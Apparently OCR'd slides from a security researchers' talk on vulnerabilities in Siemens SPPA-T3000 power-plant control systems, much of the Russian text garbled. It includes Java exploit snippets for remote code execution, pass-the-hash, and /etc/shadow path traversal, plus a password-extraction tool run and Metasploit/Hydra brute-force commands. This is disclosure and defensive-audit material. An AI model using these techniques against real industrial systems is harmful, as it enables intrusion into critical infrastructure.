----- 4 pack(String, String, boolean) : ByteBuffer ~4® login(String, String) : int
AdminServi LoginService [ S i 8 lognGotig. oy, Swng) -
minoservice g ----- @ runScript(String, byte[], String[]) : String 4@ login(String, byte(l, String) : int

----- i@ login(String, byte[], byte[], String) : int
----- i@ loginSupervisor(int, String, byte[]) : void
----- i@ loginSuperVisor(int, String, byte[], byte[]) : void

----- 4@ seriglizeCbjects(String[]) : void
----- 4@ setContainerLock(Map) : void
..... 49 shutdown(Map) : void @ logout{int) : void

""" 42 startUparadeService() : void 4@ logoutSupervisor(int) : void

""" 49 stopUpgradeService() : void -4 migrate(String, byte[], String, byte[], SecurityTools2.Data) @ void
""" #® unlockEngineering() : void -4 releaseTerminalSession(String, int) : void

----- @ renewSession(int) : boolean

----- i setlwB(boolean, int) : void




AdminService: RCE

runScript(String className, byte[] classBytes, String[] arguments) {

AdminScript adminScript = (AdminScript)Class.forName(className, true,
(ClassLoader)new ByteClassLoader(classBytes)).newInstance();
output = adminScript.execute(arguments);

)

AdminService admin =(AdminService)factory.getService(0, "AdminService");
System.out.printin(
admin.runScript(
""com.company.Main",
hexToBytes("cafebabe..."),
new String[] {"ipconfig /all"}



Java RMI peectp: CepBuc

aBTOpU3aLun

getService(clientID, "SecurityService")

Proxy[SecurityService]

PCServiceFactory

getSession|D(clientID)

session|D

SessionManager

» 1337: operator

createSecurityService(sessionlD, clientID)

invokeCall

SecurityService

- clientlD
- loginID

+ getAllUsers()

hasPermission(loginliD, ...)

» SecurityManager




Java RMI peectp: CepBuc

aBTOpU3aLun

getService(clientID, "SecurityService")

Proxy[SecurityService]

PCServiceFactory

getSessionID(clientID)

session|D

SessionManager

» 1337: operator

createSecurityService(sessionlD, clientID)

invokeCall

SecurityService

- clientlD
- loginID

+ getAllUsers()

hasPermission(loginliD, ...)

» SecurityManager




Java RMI peectp: CepBuc

aBTOpU3aLun

getService(clientID, "SecurityService")

Proxy[SecurityService]

PCServiceFactory

getSessionlD(clientID)

session|D

SessionManager

» 1337: operator

createSecurityService(sessionlID, clientlD)

invokeCall

SecurityService

- clientID
- loginID

+ getAllUsers()

hasPermission(loginiD, ...)

» SecurityManager




Java RMI peectp: CepBuc

aBTOpU3aLun

getService(clientID, "SecurityService")

Proxy[SecurityService]

PCServiceFactory

getSessionlD(clientID)

session|D

SessionManager

» 1337: operator

createSecurityService(sessionlD, clientlD)

invokeCall

SecurityService

- clientID
- loginID

+ getAllUsers()

hasPermission(loginiD, ...)

» SecurityManager




Java RMI peectp: CepBuc
aBTOpPM3aLIMN

SessionManager

getService(clientID, "SecurityService")

Proxy[SecurityService] PCServiceFactory

1337: operator

createSecurityService(sessionlD, clientID)

SecurityService

invokeCall
- clientID

- loginID SecurityManager

——» + getAllUsers()




Java RMI peectp: CepBuc
aBTOpPM3aLIMN

SessionManager

getService(clientID, "SecurityService")

>
Proxy[SecurityService] PCServiceFactory

1337: operator
0: Anonymous

createSecurityService(sessionlD, clientID)

SecurityService

invokeCall
- clientlD

- loginID SecurityManager

3y + getAllUsers()




Sensitive Data Exposure

getLoginSessions()

SessionService

«— List<LoginSessionData>

\

getService(clientlD, "SecurityService")

Anonymous session \

Privileged session ////

PCServiceFactory

(///’Proxy[Seou rityService]

-
getAllUsers()

T

///// SecurityService
(—/’/List<User>



Sensitive Data Exposure

getLoginSessions()

SessionService

P List<LoginSessionData>

\

getService(clientID, "SecurityService")

Anonymous session \)

PCServiceFactory

Privileged session ///
k/—Proxy[Secu rityService]

-
getAllUsers()

//\)/ SecurityService

List<User>

.



Sensitive Data Exposure

Anonymous session

getLoginSessions()

P List<LoginSessionData>

\

getService(clientlD, "SecurityService")

\)

SessionService

Privileged session

(///’Proxy[Seou rityService]

\
getAllUsers()

T

(—//List<User>///—

PCServiceFactory

SecurityService




AyTeHTUPMKaUMa nosib30oBaTENSA

 BzanmopgencTene ¢ RMI cepBncaMm B OTKpPbLITOM BUAE

B ac edes @s 77 22 a9 aa 16 ...... P. ...w"...
34 f9 c3 @b 44 77 d6 3f 33 0@ @0 @1 6f 20 5Sb @1  4...Dw.? 3...0 [.
c2 a5 ea ff ff ff ff b4 7b a7 bb d3 bc ff f@ 74 ........ Toaaans t
@@ 89 6f 7@ 65 72 61 74 &f 72 31 75 72 @@ 82 5b  ..operat orlur..[
42 ac 3 17 f8 @6 ©8 54 @ 02 @0 @@ 70 78 78 @@ B...... T «...pxp.
B2 8@ 20 69 dl 3e 6a 54 82 64 92 @4 11 f5 48 69 .. i.>jT .d....Hi

51 12 b4 8c 9d ab 24 9b 1b 75 84 9e dl1 53 31 fb Q

. T .
23 d8_1b 78 74 ee oa D «. .pt.

e Pass-the-hash

String traffic hash = "69d13e6a548264920411£548695112b...";

String desired_hash = "d5709e747cff£3dbl4c5826fe5025452...";

LoginService login =(LoginService)factory.getService(@d, "LoginService");
loginid = login.login(“operatorl”", hexToBytes(traffic hash), null, client ip);
SecurityService sec = (SecurityService)factory.getService(loginid,
"SecurityService");

sec.updatePassword(hexToBytes(traffic_hash), hexToBytes(desired_hash));



AYyTEeHTUPUKaLMNA MOJIb30BaATENSA

Nonb3oBaTenun: %O0RIONROOT%\data\users\usersl.xml
MNaponun: %O0RIONROOT% \data\pdatal\pdatal.exm

HazBaHue Tun OnuncaHue

userid Int ID nonb3oBaTens

passwordtime Int epoch [laTa cos3gaHua napons (Mc)

S String Conb, yHMKanbHaa A8 KaxAoro Nosb30BaTenNs
i Int KonnyecTBOo uTepaumin Npu BbIMUCIEHUMU X3Wa
Loginname String iIMa nonb3oBaTens

password String Hex SHA256

AﬂFOpMTM BblHNCNEHNA X3Wa MNapoJiv

iterations = max(min(i, 200000), 100000) + 78742

password _hash = sha256(s + loginname + password + "e8cJP2Wv89")
/* string "e8cJP2Wv89" is hardcoded */

for (j = 0; j < iterations; j++)

password_hash = sha256(password_hash)



AYyTEeHTUPUKaLMNA MOJIb30BaATENSA

Nonb3oBaTenun: %O0RIONROOT%\data\users\usersi.xml
MNaponun: %ORIONROOT%\data\pdatal\pdatal.exm

HazBaHue Tun OnuncaHue

userid Int ID nonb3oBaTens

passwordtime Int epoch [JlaTa cospgaHumsa napona (Mc)

S String Conb, yHMKanbHaa A8 KaxAoro Nosb30BaTenNs
i Int KonnyecTBOo uTepaumin Npu BbIMUCIEHUMU X3Wa
Loginname String iIMa nonb3oBaTens

password String Hex SHA256

2019-12-18 15:17:38# ./SPPA_password_extractor.py --extract -f pdatal.exm -u admin
{'password': 'a6243b5072d140b9bcff5db6820089959ba54fdd0c02f796660a0697bba2803c', 's': 'TsMyEncKey', 'i': '133700'}

2019-12-18 15:17:41# ./SPPA_password_extractor.py --update -f pdatal.exm -u admin -p babyyoda

NEW SHA256: b1a53ef51199429c3ff4c6b907d443b16f9cdefb300e52eef30c4dc51af3ff81

2019-12-18 15:17:45# ./SPPA_password_extractor.py --extract -f pdatal.exm_modify -u admin
{'password': 'bla53ef51199429c3ff4c6b907d443b16f9cdefb300e52eef30c4dc51af3ff81', 's': 'TsMyEncKey', 'i': '133700'}

https://github.com/klsecservices/SPPA




CepBep NPUIOXKEHUN: UTOTU

e OrpoMHass NOBEPXHOCTb aTakKMu
« Java RMI, Tomcat npunoxeHuna, MSSQL, Cygwin, SIMATIC,

Windows, user management, ap.
e MOryT ObITb BHEWHWE COEAUHEHUS
« OPC, ymaneHHoe obcnyxuBaHue, Op.

e Bozgencrene Ha TexHONOTrMYECKMM npouecc
« CTapT/0OCTaHOBKA TreHeEpauun >SNEeKTPUYECTBA
e /I3aMeHeHune BbIXOAHOT'O 3HAYeHUd MOWHOCTMHU
« COop MHOOpPMALUM O TEXHONOTMYECKOM Mpouecce



CepBep aBTOMATU3aALUUU

Internet /
— Regulator,
Remote - Energy market

support o .

HMI AS/MSICS
Remote
‘ A

support =
gm L1000 =
Process data 225202
0S, Apps, AV - Engmeermg Network ' Automation
' , e interface server Turbine SIS
updates Application network
Logs o server
Historian, .
updates,
logs OPC

Vibration, noise, etc.
sensor applications



CepBep aBTOMATU3aALUUU

OcHoBHada uesb: BbINOJIHEHME 3a4ay aBToMaTu3aumm (real-time
tasks

Ponb OnucaHwue

Automation (AS) BsanmMopgencTeme ¢ MoaynamMm BBOAA/BbiBOAA
Communication (CS) MoaknwyeHne k SPPA-T3000 CcTOpPOHHMX CUCTEM
Migration (MS) MooknwyeHne k SPPA-T3000 npepbiayumx sepcum SPPA

Hardware: % ,' T IR
e Simatic S7 PLCs - Tonbko gns AS ) |
 Package Industrial PC (PIP) - Bce ponu

" ——

P

Men’s health (c)



AS ponb Ha ocHoBe PLC

+S7 (102/tcp), PLC data (10001-10003/udp)

* HeT MexXaHM3MOB 0Oe30MnacHOCTU

 KoHpurypaumsa PLC

* HeaBTOpM30BaHHbLIM AOCTYN K YTEHWUKW/3anncu
namaTn PLC

e JOHOBNEHMA O6e30MacHOCTU
e PaboTaeT - He Tporan!



AS/CS/MS ponn Ha ocHoBe PIP

* OC Linux (Debian 3, 6, 9 B 3aBucumMocTm oOT Bepcuu SPPA)

* [lpn cTapTe 3arpyxaeT Heobxoaumble Gawnsibl C cepBepa MNPUIOKEHUNN
(jars, bash ckpunTbl, Op.)

* lcnonbsyeT PTC Perc VM B kauvyectBe Java VM

3anyckaeT RMI n agpyrme cepBucChl
o dna MS: 3anyckaeT Orion RPC cepsucbl (pacuupeHnme RMI)

rpc/afc/203/MonitorService_B, class name=com.pg.orion.basic.interfaces.MonitorService, address info=autserv/10.13.37.241:10080
rpc/afc/208/Monitorservice_A, class name=com.pg.orion.basic.interfaces.MonitorService, address info=appserv/10.13.37.130:11000
rpc/afc/PublisherServiceFactory/208_A, class name=com.pg.orion.basic.rpcconnect.PublisherFactoryService, address info=appserv/10.13.37.130:11005
rpc/afc/208/Log4jConfigService_A, class name=com.pg.orion.basic.log4jconfig.Log4jConfigService, address info=appserv/10.13.37.130:11006
rpc/afc/PublisherServiceFactory/203_B, class name=com.pg.orion.basic.rpcconnect.PublisherFactoryService, address info=autserv/10.13.37.241:10040
rpc/afc/203/DiagnosticContainerService_B, class name=com.pg.orion.ds.interfaces.DiagnosticContainerService, address info=autserv/10.13.37.241:10090
rpc/afc/203/ClientService_B, class name=com.pg.orion.afc.interfaces.ClientService, address info=autserv,/10.13.37.241:10030
rpc/afc/203/RuntimeEngineeringService_B, class name=com.pg.orion.basic.interfaces.RuntimeEngineeringService, address info=autserv/10.13.37.241:10010
rpc/afc/208/ClientService_A, class name=com.pg.orion.afc.interfaces.ClientService, address info=appserv/10.13.37.130:11004
rpc/afc/208/DiagnosticContainersService_A, class name=com.pg.orion.ds.interfaces.DiagnosticContainerService, address info=appserv/10.13.37.130:11001
rpc/afc/203/AlarmSrcContainerIfc_B, class name=com.pg.orion.basic.alarm.AlarmsrcContainerIfc, address info=autserv/10.13.37.241:10020
rpc/afc/208/AlarmSrcContainerIfc_A, class name=com.pg.orion.basic.alarm.AlarmSrcContainerIfc, address info=appserv/10.13.37.130:11003
rpc/afc/203/Log4jConfigService_B, class name=com.pg.orion.basic.log4jconfig.Log4jConfigService, address info=autserv/10.13.37.241:10070
rpc/afc/208/RuntimeEngineeringService_A, class name=com.pg.orion.basic.interfaces.RuntimeEngineeringService, address info=appserv/10.13.37.130:11002
rpc/afc/PublisherServiceFactory/2100, class name=com.pg.orion.basic.rpcconnect.PublisherFactoryService, address info=ulsrv01/10.13.37.10:10040
pc/AfcConfigurationAndvalueService, class name=com.pg.orion.bw.afcservice.AfcConfigurationAndvalueService, address info=appserv/10.13.37.130:53000



AS/CS/MS ponnm Ha ocHoBe PIP

spoof downloaded files

[logMeHa 3arpyxaembolx (Ganaos

npu ctapte (MiTM) l ‘
YyeTHble gaHHble Mo VYMOJIHaHWIO
d 1N ° jars, bash scripts, configs crul ek

CC madmin . Cm ) (emadmin:cm)
VazsumocTn B Orion RPC S S 1’
cepsucax (2)

- Sensitive data exposure Application AS/CS/MS

e RCE server '

:Orton RPC services :MS services <

YassumMocTn B [0 cepBepa e
MU ]I"pa LLUU MS ans TXP (23) :Orion RPC services <

e RCE (4) Sensitive data explosure

« DoS (16) RCE

. LPE (3)



YaszeumocTn B Orion RPC cepBucax

YaseBuMel cepBuc: rpc/arfc/2035/RuntimeEngineeringService B
« Sensitive data exposure

RpcServerReference ref = mgr.lookup(Chost, port, "rpc/afc/203/RuntimeEngineeringService B");
ref.connectRpc();

RuntimeEngineeringService svc = (RuntimeEngineeringService)ref.getRpcClientProxy();
Map<String, String> args = new HashMap<String, String>();
System.out.println(svc.requestRuntimeContainer(""ReadFile_jars/../../../../etc/shadow", args));

* Remote Code execution

RpcServerReference ref = mgr.lookup(Chost, port, "rpc/afc/203/RuntimeEngineeringService B");
ref.connectRpc();

RuntimeEngineeringService svc = (RuntimeEngineeringService)ref.getRpcClientProxy();

Map<String, String> args = new HashMap<String, String>();

String jarhex = "504b03040a......";

String jar = new String(hexToBytes(jarhex), "IS0-8859-1");

args.put("CONTENT", jar);

args.put("FILE", "../scripts/test2.jar");
System.out.println(svc.requestRuntimeContainer("WriteConfigFile", args));
System.out.println(svc.requestRuntimeContainer("Script_test2_com.company.Main_ifconfig", args));



MS

NepenosIHEHUSA

nepenosIHEHUS

0
08203AF G5 FFAD T 0
00233B039EFHE20
0820381 0o
08203B2_ 99E
BSfUDBsJSEFHEDO
0820384
QZHWBSﬁQEFFF
05203860 2EFADT8
OIEFADEO
08203B7
uwoaasqqgpr
SOEFADAD
Noseraoee
09EFADCO
AO9EFADDO
09EFADE®
0SEFADFO
O9EFAERD
O9EFAE10
09EFAE20
aﬂﬁrnr:ﬂ
09EFAEY4
39EFHE30
O9EFAEED
O9EFAETO
09EFAESO
O9EFAESD
O9EF
D9EFAEBO
09EFAECE
O9EFREDO

08 FF FF FF FF FF FF FF FF 40 E2 01 00 E:+.+eeceee* @r. .
0811 60 00 00 40 E2 01 00 00 00 00 08 M:*..... @r......
41 B1 41 81 4141 41 41 41 51 41 00 00] ..AAARAARARARAA.

00 00 00 00 G0 00 00 %1 41 41 41 41 ¥ - ... ... .. nnnnnn
41 41 41 00 00 20 01 00 0O 00 OO 00 00 ARRAAR.

T TR TR R T E T TR T TF NS TE N TR BN TR N TR B TX | AAAAAAAAALAA

1 00(%0 E2 61 00 48 EZ 01 00 FD FF FF 3F @T @T

EE OF 08 F9 00 00 00 FO 03 88 BT FO 03 88 BT iw. .E. H“E H"

4C 4F 42 41 4C 53 2F 49 52 51 64 36 30 00 00 GLUBnLS/IRads@..

E2 81 00 D9 00 00 00 |01 66 G0 0O |90 10 60 00 @T..-...........

i 44 4 44 44 44 WY 44 HY 44 KN 44 44 44 44 DDDDDDDDDDDDDDDD

44 44 44 44 4N 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD

U R R A R R R R K AR TR R A R R s le el

| if (i)

| gmemecpy( i *+ 1, ( Jal. u3);

4 if (1)

‘ X

"‘ else

4 I

q ;

y return 2

4 3

y

4 000146E2 LtkDevElInsert:20

:‘ =] Hex View-1 @ Hex View-3 a =

408B82BEG CE 00 00 00 40 E2 01 0@ FF FF 00 00 11 00 60 00 ... .@T..**......

:‘ 40 E2 01 OO0 40 E2 01 OO0 OO0 00 00 OO 45 45 45 45 @rt..@T...... EEEE

y 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE

4 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE

Ll 45 45 45 4D 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE

:‘ A8 AA AA DA 46 46 46 46 46 46 46 46 46 46 46 46 WKk .FFFFFFFFFFFF

- 4G 46 46 4B 46 46 4B 46 46 46 4B 46 46 4B 46 46 FFFFFFFFFFFFFFFF
46 46 4G 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF
46 46 46 4G 4G 46 46 46 46 46 46 46 46 46 4G 46 FFFFFFFFFFFFFFFF
46 4G 46 46 4G 46 46 U6 U6 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF
46 46 46 46 46 46 46 46 46 46 46 46 46 46 4G 46 FFFFFFFFFFFFFFFF
4E 46 46 4B 46 46 4B 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF
4G 46 46 4B 46 46 4B 46 46 46 4B 46 46 46 46 46 FFFFFFFFFFFFFFFF

UNENCWN 08B82BEO: MEMCRY:08B82BEO

= output window

8084DT0:

NepenosIHEHUSA

CODE XREF:

.text:0805AC14 mov edi,
.text:0805AC16 mov esi
.text:0805AC18 cld
text:0805AC19 rep mousb

LtkMsg23rv+256

08DF1B10 [ EZ 01
..yyceec. . . (EEEE
FFFFGGGGHHHHIIII
JJJIKKKKLLLLMMMM
NNNNO00000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000

UNENOWN 0: MEMORY:08DF1B10

using guessed type __int16 word_8084DT70;
8084DTYH: using guessed type int server_available_flag;
8082620: using guessed type int global_param_need_to_be_non_zero;
805CT99: got SIGSEGU signal (Segmentation fault) (exc.code b, tid 22634)

B Output window
Flushing butters, please wait...oK

805AC19: got SIGSEGU signal (Segmentation fault) (exc.code

b, tid 27684)

LtkMsg2Sru+23D7

Hex View-4

)



CepBep aBTOMATU3aAUUMN. UTOTMU

*AS Ha ocHoBe PLC
e 06bi4yHBIN PLC Cc Xopowo u3BeCTHbIMM NpobiemMamu

«AS/CS/MS Ha ocHoBe PIP

e 0ObIYHBbIN Linux

e 3aTrpyXaeT jars U UCMNONHAET WX C nomolbl Perc
VM



YTo panbwe? —

D CW35s
KL-SIEMEMNS-2018-007 (2)17 8.8
KL-SIEMEMNS3-2018-008
KL-SIEMENS3-2018-009

External iternet KL-SIEMENS-2018-010
ID Cvss f KL-SIEMENS-2018-01 | 8.8
KL-SIEMENS-2018-002 10.0 KL-SIEMENS-2018-012
KL-SIEMENS-2018-003 9.6 amote KL-SIEMENS-2018-013 7.5
KL-SIEMENS-2018-005 . E KL-SIEMENS-2018-014 7.5
dpport o] .
KL-SIEMENS-2018-006 H HMI AS/MS/CS Etg:gmgmg:ig::zg;a to
KL-SIEMENS-2018-007 (1) 9.8 I
' Remote
support e
Process data o~ . Network L ETL]
OS, Apps, AV - Engineering _ Automation :
| ication| |Interface server Turbine ower
updates H Application network
Logs £ rver
Historian, H Automation
updates, D cvss|
logs OPC KL-SIEMENS-2018-015 7.8
KL-SIEMENS-2018-026 7.8
KL-SIEMENS-2018-027 7.8
Application . KL-SIEMENS-2018-028 7.5
D CVsS . KL-SIEMENS-2018-029 7.5
KL-SIEMENS-2018-001 KL-SIEMEMS-2018-030 9.6
KL-SIEMEMNS-2018-004 8.3 Vibration, noise, etc. KL-SIEMEMS-2018-031 10.0
sensor applications




BbiBO bl

Bo3sMoOXHOCTb caMocTosATenbHOM npoBepku Bawen OT
MHOPACTPYKTYPbl U OBCYXAEHME MNONIYYEHHbIX PE3Y/bTATOB
C BEHOOPOM, MUHTErpaTOpPOM MM KOMaAHOOW Mo
be3onacHoOCTMU




Coenam cam

Area Action Remediation -
All servers The hosts file from Windows or Linux boxes | If other resources are discovered, look in m
will contain all the intended SPPA-T3000 | system integrator's documentation to
resources on the network. You should verify | find out the role and why it is placed in z N
that production network consists only of | the SPPA-T3000 network.
resources identified in the hosts file. Internet Router
Application Connect your laptop with Kali Linux to [ If you have network ports which are not
network Application network. in a locked server room, and not locked
can be done from Application server or an | and make sure that everything else
operator’s workstation. besides those allowing rules is forbidden R t F"'ewa“ A Regulator,
(“deny any to any”). emote
Application For $5H and SMB services running on the | Before version R8.2 5P2 to change the Energy mar ket
network SSH | discovered hosts, use Metasploit framework | passwords a deep understanding of how Support .
services (¥) modules or online bruteforcing tools (Hydra, | system works is required, with newer AS/M S/CS
Aoniic Patator, etc) for login bruteforce with | version wvendor promises an easy HMI
AP&': username-password pairs from the Wordlist | procedure for password  changing.
netwe section of this document. Deleting and disabling OS user accounts
Ask your SOC whether they saw any | should be discussed with vendor. Good Remote
suspicious activity. news is nobody (outside you and your N A
Usage example: maintainer) should use them, so your Su ppOI’t l_ e \ %
Metasploit (55H): best bet is to monitor any type of their E D O e
Applic use auxiliary/scanner/ssh/ssh_login usage and respond to alarms. Create oo ‘%
netwo ser USERPASS_FILE <path_to_wordlist= your own account on each host with rY-YY.Y-Y-)
set RHOSTS <target_ip> strong and different passwords. For the Process data Net 0 k
— run maintainer, you will be aware that they H H wor Auto ma‘“on
Applic Hydra (5SMB): are using the account and skip alarms. OS, AppS, AV Englneerlng . . ower
netwo hydra -C <path_to_wordlist> -t | <target_ip> | The operator account is still an operator, A I . t |nte rface server Tu rb' ne
smb 50 to some extent it is fine™ for them to u pdateS pp Ication network
have weak passwords as their tracking is L server
done with other means (physical security Ogs . N
and journaling). Hlstonan ,
Application For SNMP services identified before, use | The effect of changing SNMP community
Conne| network (¥) Metasploit framework modules or online | strings is unknown and in reality, doesn't Updates,
::“';E bruteforcing tools (Hydra, Patator etc) to | complicate the situation for an attacker. I -
plic bruteforce SNMP community strings from the | Only SNMP v3 will set a baseline for OgS H - .
Auton Wordlist section of this document. Check all | secure SNMP usage. .-- O PC SWItCh - SW|tCh
alive hosts. ]
Ask your S50C whether they saw any -- L]
L — suspicious activity. FII’ Wa”
Usage example (Metasploit): I I %
use auxiliary/scanner/snmp/snmp_login F I reWaI I F I rewal | 0 J
set USERPASS_FILE <path_to_wordlist> .
set RHOSTS <target_ip>
run Moaknwyaemca 3necb U NoaknovaeMmcsa
Application Vulnerability management. For all Windows | If not patched, request your maintainer
network boxes you need to be sure you have patches | to update your ¥Windows environment. . . . m
at least for MS17-010, and advisably CVE- BbIMOJIHAEM MPOCTbIE U Vibration, noise, etc. 30€Cb U
2019-0708. For the first one use RunFinger.py ~ - . .
or Nmap with script smb-vuln-msi7-010 6630|-|aCHb|e ,El,eMCT BMH sensor appllcatlons SWltCh HOBTODHEM

[foapobHee B cTaTbe

no npoBepke
MHPPACTPYKTYPbI

VNpaXHEHNE



BbiBO bl

Bo3sMOXHOCTb caMocTosaTenbHOWM npoBepku Bawen OT
MHOPACTPYKTYPbl U OBCYXAEHME MNONIYYEHHbIX PE3Y/bTATOB
C BEHOOPOM, MUHTErpaTOpPOM MM KOMaAHOOW Mo
be3onacHoOCTMU

2 AHanoru4yHole npobnembl N8 CUCTEM yNpaBAeHUs B
fwysﬂpyrmx OTpacnax

Opyxnte ¢ IEC 62443-nogobHbiMM N TpebynTe TOro Xe
OT OCTaJIbHbIX




BbiBO bl

Bo3sMoXHOCTb camocToaTesibHOW npoBepku Bawen OT

MHOPACTPYKTYPbl U ODCYXAEHME MNONYYEHHbIX
pe3y/bTAaTOB C BEHAOPOM, MHTErpaTOPOM MU
KOMaHOOM Mo 6e30MmacHOCTMU

, 5§AHanoquHue npobnemMsl AN CUCTEM yrnpaB/ieHUs B
Y ApyYIUX oTpacnax

| 4

‘AﬂpymMTe c IEC 62443-nopobHbiMM M TpebynTe TOro
€ OT OCTallbHbIX

- ObHoBnsanTe Baw SPPA: MO, naponu, HacTpouku, AOp.

> [TloaknwynTb SOC M HayaTb OTCNEeXMBATb aKTUMBHOCTMU
@=¢ B pawern OT mHPpacTpyKType - MyApoOe pelleHne




MaTepuansl

e CTaTbs

”Security of DCS for turbines - 2020.pdf” in https://github.com/klsecservices/SPPA

« ChoBapu (B cTaTbe)

* PyKOBOACTBO A/19 CaMOCTOSATENIbHOM OUEHKM
besonacHocTn (B CTaTbe)

« Java RMI auccekTop ana cepsepa MpUIOXEHUN

https://github. com/klsecservices/desert

 PLC Data guccekTop (NMpOTOKON Mexgy CepBepoMm
NPUTOXEHNN N CEepPBEPOM aBTOMATU3aALUN)

sppa_dissector.lua in https://github.com/klsecservices/SPPA

« PTC Perc VM pekoMmnunsaTop

class_parser.php in https://github.com/klsecservices/SPPA

* IHcTpyMeHT npoBepku naponen SPPA

sppa_password_audit.py in https://github.com/klsecservices/SPPA



OrBeT Siemens

mens addressed a number of vulnerabilities in SPPA-T3000, Rel. 8.2 SP1l, and addressed
vulnerabilities detected by Kaspersky with Rel. 8.2 SP2.

Sie

all

« Siemens advisory is available at https://cert-portal.siemens.com/productcert/pdf/ssa-
451445 . pdf

« In ICS setups based on our default SPPA-T3000 security recommendations (available to all
customers), the listed vulnerabilities are not exploitable from external networks.

« As a default procedure when the site acceptance test is finished (system handover),
Siemens recommends to all customers to change all user passwords.

« Siemens is forwarding information to the SPPA-T3000 customers to align their solution
configuration with the recommendations described in the SPPA-T3000 Security Manual.

« Siemens is aware of the criticality of SPPA-T3000 for critical infrastructures. Therefore,
we

* understand software quality improvements as an ongoing task
« utilize software vulnerability information to enhance the system security testing process

 continue to provide security patches for the mitigation of vulnerabilities in Siemens and 3rd-party
products as part of an optional software maintenance agreement

. co?tinuously review the SPPA-T3000 security architecture to minimize the attack surface of ICS
solutions

« recommend deploying ICS components in physically protected areas and cabinets

+ are aware of the additional operator responsibility regarding the ICS solution security throughout
the commercial plant operation cycle and ready to support our customers with (security-related)
system updates and appropriate services
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